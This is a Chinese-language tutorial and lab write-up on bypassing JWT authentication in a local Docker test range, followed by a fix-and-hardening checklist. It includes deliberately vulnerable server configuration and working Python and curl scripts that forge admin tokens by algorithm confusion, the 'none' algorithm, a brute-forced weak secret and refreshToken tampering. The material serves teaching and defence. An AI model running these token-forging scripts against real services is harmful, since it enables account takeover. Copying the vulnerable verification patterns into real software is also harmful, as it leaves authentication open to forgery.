
JWT已经成了现代Web认证的默认选项但“默认”这两个字本身就是最大的风险。我做安全测试这么多年Token验证绕过一直是高频出现的核心考点——它不仅常见而且一旦被绕过整个认证体系基本等于透明。前阵子我在本地搭了一套专门的靶场把JWT从签发、验签、续期到过期处理全部模拟了一遍然后把市面上主流的绕过思路挨个打了一遍。这篇文章就把整个过程完整写出来包括靶场怎么搭、攻击路径怎么定、每一步为什么能过、最后怎么修。如果你正在做安全测试、准备CTF方向的Web题目或者后端接口里已经用上了JWT但没仔细想过验签细节这篇内容应该能帮你少走不少弯路。整个测试环境完全在本地Docker里跑不会对任何线上系统产生影响大家可以放心操作。1. 靶场环境准备Token验证绕过的第一块试金石我一直觉得安全测试里最难的不是某个漏洞利用技巧而是对一个完整的认证链路有体感。Token验证绕过尤其如此——你要亲眼看到“签名校验失效”之后接口依然返回200才真正理解什么是信任边界。所以我这次没有用在线靶场而是自己搭了一套可控的本地环境。1.1 技术选型与容器化搭建靶场技术栈选型上我用了Spring Boot JJWT 0.11.5 H2内存数据库。之所以选择这个组合是因为它在真实业务里出现频率极高而且JJWT在不同版本和不同配置方式下对算法解析、密钥类型处理的行为差异很大非常适合用来复现各类Token绕过场景。Docker编排文件也不需要太复杂两个服务节点就够version: 3.8 services: jwt-lab: image: openjdk:17-jdk-alpine container_name: jwt-lab working_dir: /app volumes: - ./target/jwt-lab.jar:/app/app.jar ports: - 8080:8080 environment: # 故意弱化的HS256密钥仅用于靶场演示 JWT_HS256_SECRET: 123456 # 是否允许none算法模拟老版本配置 JWT_ALLOW_NONE: true command: [java, -jar, app.jar]这里有两个环境变量一定要留意JWT_HS256_SECRET和JWT_ALLOW_NONE。前者我用了一个极弱的6位数字密钥专门为了演示弱密钥爆破后者则模拟那种为了兼容老客户端、把服务端配置成了接受none算法的场景。这两个点我在后面第3章的实战环节都会用到。代码层面登录接口很常规校验逻辑我故意埋了两个“经典失误”第一处是在验签时先读取JWT头部的alg字段再根据这个动态值去选择验签算法第二处是HS256场景下直接把已加载的RSA公钥内容当成了对称密钥传入而没有做密钥类型校验。这两处写在一起效果就是攻击者可以完全掌控服务端验签时用的算法和密钥。1.2 认证链路与Token生命周期拆解目录搭建好之后我先梳理了一遍完整的认证链路。任何一个基于Token的系统基本都逃不开下面几个环节环节输入校验点容易出的问题登录签发用户名、密码用户凭据、密码哈希签发时把权限字段直接塞进payload且没做签名保护请求携带Authorization头或Cookie有无携带、格式是否正确Token放错位置、前端硬编码Token服务端验签JWT字符串签名算法、密钥、过期时间、签发者算法动态选择、密钥类型不校验、exp未校验续期刷新refreshToken签名、过期时间、是否绑定设备/用户无刷新轮换、旧token无限重放在这个靶场里登录成功后返回两个TokenaccessToken有效期30分钟refreshToken有效期7天。访问/api/user/info这样的业务接口时服务端过滤器会先解析accessToken然后验签验签通过后再取payload里的username直接去查用户信息。我没让过滤器去校验Token里的sub是否和当前登录用户一致也没做用户状态校验。这个设计后面会派上大用场——修改payload之后直接就能切换到任意用户身份。联通整条链路之后才能真正开始看攻击面。因为绕过手法的本质就是在这些校验点里找到“看似校验了、实际没有正确校验”的地方。2. 攻击面盘点为什么Token会看起来验了却没验住我在带新人做项目的时候总说一句话不要一上来就想着怎么伪造Token先搞清楚服务端到底信任什么。Token验证绕过这个命题真正难的不是构造一段JWT而是判断出哪一环能被骗住。这一章把典型攻击面先盘清楚后面打靶才有方向。2.1 签名算法的信任边界错位JWT常见算法分两类一类是HS256这种对称HMAC一类是RS256/ES256这种非对称签名。这两类的信任模型完全不一样HS256验证时用的是同一个对称密钥服务端和客户端都要“共享”这个秘密。所谓共享就是不能公开一旦泄露整个签发权利都交出去了。RS256签名时用私钥验签时用公钥。公钥本来就是公开信息它的作用只是验证签名是谁做的不能用于重新生成合法签名。问题就出在这里。很多服务端的验签代码只认alg字段算法写的是HS256它就会拿手头的key对象去做HMAC运算。如果这个key对象恰好是个RSA公钥那攻击者手里也有这个公钥——HMAC的“共享秘密”在攻击者看来根本就不是秘密。这不只是理论分析。我之前审计过一套内部系统代码里用同一个PublicKey对象处理所有验签算法从JWT头里动态取结果就是任何能拿到公钥的人都能伪造管理员Token。影响范围几乎是整个系统的所有接口业务数据完全暴露。2.2 密钥管理与过期时间校验盲区第二类攻击面在密钥本身。很多系统直接硬编码一个短字符串当HS256密钥比如“secret”“123456”这种密钥用GPU跑字典可能几秒钟就被爆破出来。一旦爆破成功攻击者就拥有了和服务器同等的Token签发能力后面对exp、sub做任何修改都畅通无阻。过期时间也是重灾区。我见过不少服务端只验签名不验expToken即使过期一年依然能正常访问。也有一些系统虽然验exp但调用了setAllowedClockSkewSeconds(300)这种宽松配置再叠加时钟不同步相当于把过期时间窗口拉大了好几分钟对攻击者来说这点弹性完全够用。再来就是refreshToken了。现在很多系统做token续期但实现得好不好差别巨大。常见的续期流程是客户端带着refreshToken请求/refresh。服务端验refreshToken签名如果没问题就签发一个新的accessToken。正常情况下refreshToken应该旋转——旧的作废新的返回。但很多实现压根不做旋转refreshToken永远有效攻击者截获一次之后就可以无限换新。还有一些实现只校验refreshToken本身签名和过期时间不校验它和用户、设备之间的绑定关系。攻击者把一个低权限用户的refreshToken改成高权限用户的sub照样能换出高权限的accessToken。我把这些攻击面整理成一张影响范围表方便对照攻击面受影响组件典型场景危害等级算法混淆验签中间件、统一认证服务服务端动态选择算法、密钥类型不校验高认证完全失效none算法弱化兼容老客户端的系统配置允许none算法或版本过旧高未授权访问弱密钥对称签名场景硬编码6位数字、常见字符串当密钥高可伪造任意Token过期校验缺失业务接口过滤器只验签不验exp中过期身份持续有效refreshToken重放刷新Token接口无旋转、无设备绑定高会话固定与接管看到这个表思路基本就清晰了。攻击面不只是某一个写法问题而是整个信任链路里多处“默认”叠加导致的。下面进入实战环节看每一类怎么在靶场里打穿。3. 靶场实战四种主流Token绕过手法环境搭好、思路理清之后就是最让人兴奋的部分了。我在实战中把四类最主流的绕过手法完整跑了一遍顺序也很有讲究先打签名算法再试none算法接着爆破弱密钥最后折腾续期逻辑。每一步都用工具和脚本真实复现记录下关键现象。3.1 算法混淆攻击把RSA公钥当HMAC密钥这一步是整场实战的核心也是最容易在生产环境里踩中的问题。原理前面已经讲过服务端根据alg动态选算法并且不校验密钥类型导致公钥变成了HMAC的共享秘密。攻击的前提是先拿到公钥这在很多体系里并不难——公钥本来就该公开常见途径有/.well-known/jwks.json、配置文件泄露、接口报错信息等。我在靶场里专门留了一个GET /api/public-key接口来模拟公钥暴露。拿到公钥之后先保存成PEM格式curl http://localhost:8080/api/public-key -o public.pem cat public.pem然后写一个Python脚本用这个公钥当HS256的密钥来伪造管理员Token# coding:utf-8 import jwt import datetime import requests with open(public.pem, r, encodingutf-8) as f: public_key f.read() headers {alg: HS256, typ: JWT} payload { sub: admin, name: admin, role: admin, exp: datetime.datetime.utcnow() datetime.timedelta(days7) } # 这里故意用公钥内容作为HMAC密钥 forged_token jwt.encode(payload, public_key, algorithmHS256, headersheaders) print(伪造Token:, forged_token) resp requests.get( http://localhost:8080/api/user/info, headers{Authorization: Bearer forged_token} ) print(接口状态码:, resp.status_code) print(接口返回:, resp.text)为什么这个脚本能打通核心在于服务端验签时用的是同一个公钥对象来执行HMAC计算。攻击者已经把公钥内容写进自己的伪造脚本里所以在服务端看来这个Token的签名完全合法。HMAC本身并不区分“哪一方持有同一个秘密”只要双方字节一致签名结果就一定一致。跑完脚本之后接口直接返回了管理员的数据。那一刻你就知道这套系统的认证已经形同虚设了。修复方向也很明确验签逻辑里固定算法白名单并且严格限制密钥类型——RS256只能用PublicKey验签HS256只能用SecretKey验签。我在第4章的加固清单里还会展开说。3.2 none算法给JWT直接删掉签名如果说算法混淆还需要先拿公钥那none算法就更粗暴了——直接声明“我这个Token不需要签名”。JWT规范里预留了none算法给内部可信场景使用但现实是不少服务端因为兼容老客户端、或者用了老版本库把none算法的开关留了条缝。靶场里我用Burp Suite做了完整演示。先正常登录抓到一个合法请求然后把Authorization里的Token扔到jwt.io或者本地脚本里解包把header改成{alg:none,typ:JWT}payload改成管理员身份签名部分直接删掉。整个构造过程用Python脚本也能完成# coding:utf-8 import base64 import json import datetime def b64url_encode(data: bytes) - str: return base64.urlsafe_b64encode(data).rstrip(b).decode() header {alg: none, typ: JWT} payload { sub: admin, role: admin, exp: int(datetime.datetime.utcnow().timestamp()) 3600 } # 构造 header.payload.空签名 segments [ b64url_encode(json.dumps(header, separators(,, :)).encode()), b64url_encode(json.dumps(payload, separators(,, :)).encode()), b64url_encode(b) ] forged_token ..join(segments) print(none算法伪造Token:, forged_token)构造出来之后用curl打过去看效果curl -i http://localhost:8080/api/user/info \ -H Authorization: Bearer eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJzdWIiOiJhZG1pbiIsInJvbGUiOiJhZG1pbiIsImV4cCI6MTc1MDAwMDAwMH0.靶场里返回的是200以及管理员信息。不过要强调一点JJWT 0.11.5默认已经拒绝none算法了所以我在靶场里用JWT_ALLOW_NONEtrue来做模拟。真实环境里如果你测到的目标库比较新这个方法大概率会被直接拦下但这不代表不该测——因为有很多项目在JWT库外面又套了一层自己的解析逻辑直接拿base64解码payload去查用户根本没走库的验签逻辑这时none算法依然有效。最稳妥的做法是打一下看返回差异然后根据报错内容判断服务端到底验了什么。3.3 弱密钥爆破6位数字密钥几分钟内被掀翻第三种思路放在弱密钥上。对称签名算法里密钥强度直接等于安全强度。HS256用的如果是短密钥攻击者完全可以拿到一个合法Token之后离线爆破因为这个过程不需要和服务器交互。靶场登录后抓一个合法Token然后先用hashcat跑一把# 将JWT保存到 jwt.txt # -m 16500 是JWT HS256的hashcat模式 hashcat -a 0 -m 16500 jwt.txt /path/to/wordlist.txt如果手头没有合适的字典也可以直接用jwt_tool自带的模式跑命令更简单python jwt_tool.py eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiJ0ZXN0In0.xxxx \ -C -d /path/to/wordlist.txt我在靶场里用的是6位纯数字密钥用rockyou.txt跑从开始到出结果大概也就是秒级到分钟级的事。关键是爆破成功后伪造Token的成本就趋近于零了。直接改payload把sub改成adminexp改成一个月后用同一个密钥重新签名# coding:utf-8 import jwt import datetime secret 123456 # 爆破出来的密钥 payload { sub: admin, role: admin, exp: datetime.datetime.utcnow() datetime.timedelta(days30) } forged_token jwt.encode(payload, secret, algorithmHS256) print(forged_token)这里有一个经验想分享爆破类的题目千万别上来就拿大字典硬跑。先根据JWT本身的开头格式和业务背景判断一下密钥风格——如果是一般测试系统大概率是“secret”“password”“123456”这类如果是金融或业务系统可能是带有业务标识的字符串。用小字典快速过一遍能省下非常多时间。我在实战中第一次跑就是直接用rockyou结果反而让几秒钟能出结果的题目浪费了好几分钟。3.4 续期逻辑绕过refreshToken重放与越权换Token最后一个打法不针对accessToken而是打续期接口。现在很多系统都采用双Token模式而双Token中最容易出事的就是refreshToken的校验逻辑。靶场里的步骤是这样的先登录拿到refreshToken然后把这个refreshToken解码只修改sub字段从test变成admin重新签名。这里有一个前提——refreshToken本身也必须被签名保护如果服务端用弱密钥或公钥算法混淆那攻击者自然能重新签名。但即便密钥是安全的还有一个更隐蔽的问题不校验绑定关系。靶场里我有意写了一个极简的refresh接口它只做三件事验refreshToken的签名保证Token没被篡改。验exp保证没过期。读payload里的sub字段签发一个新的accessToken。它完全不校验当前请求是否来自当初签发的那个用户也不管客户端有没有绑定设备更不检查这个refreshToken是否已经被使用过。这就引出了两个必中招的场景场景一重放旧refreshToken。正常流程中refreshToken应该轮换旧的用一次就作废。但这个靶场不轮换所以同一个refreshToken可以用无数次每次都能换一个新的accessToken。场景二修改身份字段。把refreshToken里的sub改成admin然后用这个Token请求刷新返回的accessToken身份就是admin。这一步如果配合第3.3节的弱密钥脚本整个链路就非常丝滑。实际请求长这样curl -X POST http://localhost:8080/api/refresh \ -H Content-Type: application/json \ -d {refreshToken: 你的伪造refreshToken}返回的accessToken直接换成管理员身份。这个洞如果出现在真实业务里危害不只是越权而是整个会话体系被接管。别人的登录态就是一个refreshToken的事拿到了就能一直续下去。这里我要认真说一句上面所有手法都必须在授权靶场或测试环境里操作。我在真实渗透测试中对于refreshToken这一类通常是先验证逻辑是否存在缺陷再在报告中给出危害证明不会为了一时痛快把业务搞崩。4. 问题排查、修复加固与复盘方法打完之后别急着收工靶场的价值一半在“打穿”的那一刻另一半在“为什么能打穿”的复盘里。这一章既是问题速查也是修复指南。4.1 实战中反复遇到的典型问题速查我把自己在靶场和各项目测试中遇到的问题整理成一张排查表很多人测试失败的原因基本都能在里面找到现象可能原因定位方法解决方法修改payload后依然返回401签名没有同步重新生成解码JWT看签名段是否变化用爆破密钥或合法密钥重新签名算法混淆攻击失败服务端代码固定使用RSA算法不读alg动态选择对比修改alg前后返回差异改用其他漏洞点如弱密钥none算法不生效使用的是新版本JWT库默认拒绝查看返回报错信息是否提到algorithm尝试算法混淆或其他路径换了公钥内容依然签名失败公钥格式不完全匹配对比公钥字符串精确度确保PEM格式、换行符处理正确Token过期后还能访问服务端未校验exp字段查看返回结果和配置代码补上exp校验收紧时钟偏移refreshToken重放成功服务端未做token轮换连续两次使用同一refreshToken刷新实现refreshToken rotation修改refreshToken的sub后成功换Token刷新接口未回查用户解码refreshToken并修改身份字段后测试签发时绑定用户刷新时回查用户排查逻辑的核心就是先看服务端到底“验了什么”。很多人一拿到401就慌其实把请求和响应都完整打出来一条一条核对大部分问题都能定位到具体环节。4.2 实战后的修复加固清单与个人心得每打完一个洞我都会顺手把修复方案一并梳理出来。这里给出一个可以直接给研发团队用的加固清单固定算法白名单。验签代码里直接规定允许的算法集合默认只放RS256或ES256来自签名头部的alg字段只做参考不能作为算法选择依据。严格校验密钥类型。HS256只能用SecretKey验签RS256只能用PublicKey验签。写代码时加一个instanceof判断把类型校验前置。使用强随机密钥。对称签名密钥必须用高熵随机串长度至少32字节以上绝对不能出现secret、123456这类值。密钥要放到配置中心或密钥管理系统里不能硬编码在代码库。全面校验标准声明。exp、nbf、iat、aud、iss都要验exp的时钟偏移建议控制在秒级不要动不动就放宽到五分钟。做refreshToken轮换。每次刷新成功后旧refreshToken必须立即失效不能在被重放时还返回新Token。刷新接口回查绑定关系。refreshToken里要绑定用户ID、客户端设备指纹刷新时校验这个绑定防止修改sub后成功换Token。日志监控告警。对验签失败次数、算法切换异常、Token过期后仍被使用等事件做日志记录和告警很多绕过行为在日志里有明显的特征。最后再说点个人体会。我在靶场里把四类手法完整打完最大的收获不是学会某一条命令而是建立起一种“信任边界”思维。你在写验签逻辑时要反复问自己我到底在验证什么是验证这段Token确实由我签发还是验证里面写着某个用户名这两个问题只要有一个被混淆攻击面就打开了。另外一个小技巧是本地调试时一定要把JWT的三段拆开打印单独看header和payload直接肉眼看比命令行工具更快发现问题。希望这篇内容能帮你把Token验证绕过的整条链路彻底串起来在自己的靶场里跑通之后再回看真实业务系统你会对认证安全有完全不一样的感觉。